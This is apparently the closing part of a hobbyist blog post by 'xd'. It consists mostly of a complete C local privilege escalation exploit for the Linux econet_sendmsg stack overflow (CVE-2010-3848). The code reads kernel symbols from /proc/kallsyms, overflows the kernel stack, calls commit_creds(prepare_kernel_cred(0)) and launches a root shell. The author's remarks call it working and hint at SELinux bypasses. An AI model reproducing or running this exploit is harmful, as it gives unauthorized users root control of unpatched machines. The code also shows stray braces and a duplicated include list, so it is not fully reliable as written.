	}
	printf("[+] spawning children to achieve adjacent kstacks\n");
	type = get_adjacent_kstacks();
	if (type == KSTACK_PARENT) {
	do_parent();
	} else if (type == KSTACK_UPPER) {
	do_child_upper();
	} else if (type == KSTACK_LOWER) {
	do_child_lower();
	}
	return 0;
}

Finally, my own version :_ this works without corrupting memory and it exist nice and cleanly unlike the oberheldie one.
//includes for my version
stdio.h
stdlib.h
stdint.h
stddef.h
string.h
unistd.h
errno.h
fcntl.h
limits.h
syscall.h
inttypes.h
sys/types.h
sys/socket.h
sys/wait.h
sys/ioctl.h
sys/mman.h
sys/sem.h
sys/stat.h
sys/mman.h
sys/resource.h
sys/syscall.h
netinet/in.h
net/if.h
//end incs for my vers

/*
 * quarter-nelson.c
 * Linux Kernel < 2.6.36.2 Econet Sendmsg Privilege Escalation Exploit
 * xd's version
 * CVE-2010-3848
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *   Stack based overflow in the econet_sendmsg function in
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
 *   econet address is configured, allows local users to gain privileges
 *   by providing a large number of iovec structs.
 *
 * Usage:
 *   $ gcc quarter-nelson.c -o quarter-nelson -lrt
 *   $ ./quarter-nelson
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS 446
#define NPROC 1024
#ifndef PF_ECONET
#define PF_ECONET 19
#endif
#define STACK_OFFSET 6
#define RESTART_OFFSET 40

struct ec_addr {
unsigned char station;
unsigned char net;
};
struct sockaddr_ec {
unsigned short sec_family;
unsigned char port;
unsigned char cb;
unsigned char type;
struct ec_addr addr;
unsigned long cookie;
};
union semun {
int val;
struct semid_ds *buf;
unsigned short *array;
struct seminfo *__buf;
};
struct region {
unsigned long parent;
unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;

void __attribute__((regparm(3)))
kernel_code(void) {
commit_creds(prepare_kernel_cred(0));
}
void payload_parent(void) {
	asm volatile (
	"mov $kernel_code, %rax\n"
	"call *%rax\n"
	);
}
void payload_child(void) {
	asm volatile (
	"movq $payload_parent, (%0)\n"
	"jmpq *%1\n"
	:
	: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
	);
}

unsigned long get_symbol(char *name) {
	FILE *f;
	unsigned long addr;
	char dummy, sym[512];
	int ret = 0;
	f = fopen("/proc/kallsyms", "r");
	if (!f) {
	return 0;
	}
	while (ret != EOF) {
	ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
	if (ret == 0) {
	fscanf(f, "%s\n", sym);
	continue;
	}
	if (!strcmp(name, sym)) {
	printf("[+] Resolved symbol %s to %p\n", name, (void *) addr);
	fclose(f);
	return addr;
	}
	}
	fclose(f);
	return 0;
}

void do_it(void) {
	int i, ret, eco_sock;
	struct sockaddr_ec eco_addr;
	struct msghdr eco_msg;
	struct iovec iovs[IOVS];
	struct ifreq ifr;
	char *target;
	target = (char *)payload_child;
	target += 4;
	sleep(1);
	for (i = 0; i < STACK_OFFSET; ++i) {
	iovs[i].iov_base = (void *) 0x0;
	iovs[i].iov_len = 0;
	}
	iovs[STACK_OFFSET].iov_base = (void *) target;
	iovs[STACK_OFFSET].iov_len = 0x0246;
	for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
	iovs[i].iov_base = (void *) 0xffffffff00000000;
	iovs[i].iov_len = 0;
	}
	eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
	if (eco_sock < 0) {
	printf("[-] Failed creating econet socket\n");
	exit(1);
	}
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, "lo");
	ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
	if (ret != 0) {
	printf("[-] Failed setting interface address,aborting\n");
	exit(1);
	}
	memset(&eco_addr, 0, sizeof(eco_addr));
	memset(&eco_msg, 0, sizeof(eco_msg));
	eco_msg.msg_name = &eco_addr;
	eco_msg.msg_namelen = sizeof(eco_addr);
	eco_msg.msg_flags = 0;
	eco_msg.msg_iov = &iovs[0];
	eco_msg.msg_iovlen = IOVS;
	printf("[+] Triggering stack overflow now\n");
	ret = sendmsg(eco_sock, &eco_msg, 0);
	if (ret != -1 || errno != EFAULT) {
	printf("[-] PF_ECONET Sendmsg leverage succeeded\n");
	exit(1);
	}
	close(eco_sock); // overflow done
	printf("[+] Escalating privileges\n");
	syscall(__NR_restart_syscall);
	if (getuid() != 0) {
	printf("[-] Priv escalation failed.\n");
	exit(1);
	}
	printf("[+] Launching rootshell!\n");
	execl("/bin/sh", "/bin/sh", NULL);
}

int main(int argc, char **argv) {
	int type;
	printf("[+] Looking for symbols\n");
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	if (!commit_creds) {
	printf("[-] Symbol table not available, aborting!\n");
	exit(1);
	}
	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
	printf("[-] Symbol table not available, aborting\n");
	exit(1);
	}
	ia32_sysret = get_symbol("ia32_sysret");
	printf("~ Econet priv escalation based on the three-tier half-nelson ~\n");
	do_it();
	}
	return 0;
}

OK enough of econet now :P and dont bother on older kernels, these are for newer boxes..
These are all very cool as they work.

A note for the RDS protocol;
Ever wondered why the heck dan Rosenberg tries to over rite rds_ioct …
Wich is a static fptr :P ,i am curious to know this..because am yet to see or hear of
ONE rds exploit working .
Econet, works great..altho, you might want to chase up some selinux bypassing ,
lookup spender ;)

cheers,
xd

comments: 5 »